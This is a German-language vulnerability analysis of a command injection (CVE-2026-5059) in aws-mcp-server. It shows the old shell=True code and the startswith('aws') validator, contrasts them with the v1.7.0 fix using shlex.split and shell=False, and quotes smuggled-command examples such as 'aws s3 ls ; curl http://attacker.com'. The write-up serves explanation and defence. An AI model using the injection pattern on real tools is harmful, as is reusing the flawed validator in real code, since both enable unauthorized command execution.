
Proof-of-concept, der eine Command Injection in aws-mcp-server über `shell=True` demonstriert, mit Analyse des verwundbaren Codes und des Fixes in v1.7.0.
Wo befindet sich CVE-2026-5059 im Code? Die Schwachstelle befindet sich in zwei Dateien, die zusammenarbeiten:
Datei 1: tools.py — Die Grundursache Die alte Version verwendete shell=True in execute_piped_command(): python# ALTER VERWUNDBARER CODE process = subprocess.run( command, # ← roher String, der an die Shell übergeben wird shell=True, # ← DAS ist das Problem ... ) Wenn shell=True gesetzt ist, interpretiert die OS-Shell den gesamten String einschließlich ;, &&, ||, Backticks — alles nach ; wird also als separater Befehl ausgeführt.
Datei 2: security.py — Die unvollständige Absicherung Der Validator prüfte nur, ob der Befehl mit aws beginnt: python# ALTER VERWUNDBARER CODE def validate_pipe_command(command: str): if not command.strip().startswith("aws"): raise ValueError("Must start with aws") # ← endet hier, keine Prüfung dessen, was nach der Pipe kommt Also bestand aws s3 ls ; curl http://attacker.com die Validierung — beginnt mit aws — und shell=True führte anschließend beide Teile aus.
Warum sich die aktuelle Version (v1.7.0) unterscheidet Betrachtet man den tatsächlichen Code heute, sind beide Probleme behoben: python# AKTUELLER CODE in cli_executor.py cmd_parts = shlex.split(command) # zerlegt in eine Liste subprocess.run(cmd_parts, shell=False) # listenbasiert, keine Shell-Interpretation Und security.py wurde vollständig gelöscht — ersetzt durch die OS-Sandbox (Landlock/bwrap/Seatbelt). Das ; ist nun harmlos: "aws s3 ls ; curl http://evil.com" → shlex.split → ['aws', 's3', 'ls', ';', 'curl', 'http://evil.com'] → subprocess erhält ';' als wörtliches Argument für aws → Die AWS-CLI ignoriert es, kein zweiter Befehl wird ausgeführt
Zusammenfassung in einer Zeile Verwundbare VersionAktuelle v1.7.0Ausführungshell=True + Stringshell=False + ListeValidierungstartswith("aws") nurOS-Sandbox; HandhabungVon der Shell ausgeführtAls wörtlicher Text behandelt Der CVE wurde gegen die alte Version eingereicht. ZDI veröffentlichte ihn als 0-Day, weil der Hersteller den Bericht ablehnte — aber die Architektur hatte sich bereits vor der Veröffentlichung des CVE von shell=True entfernt.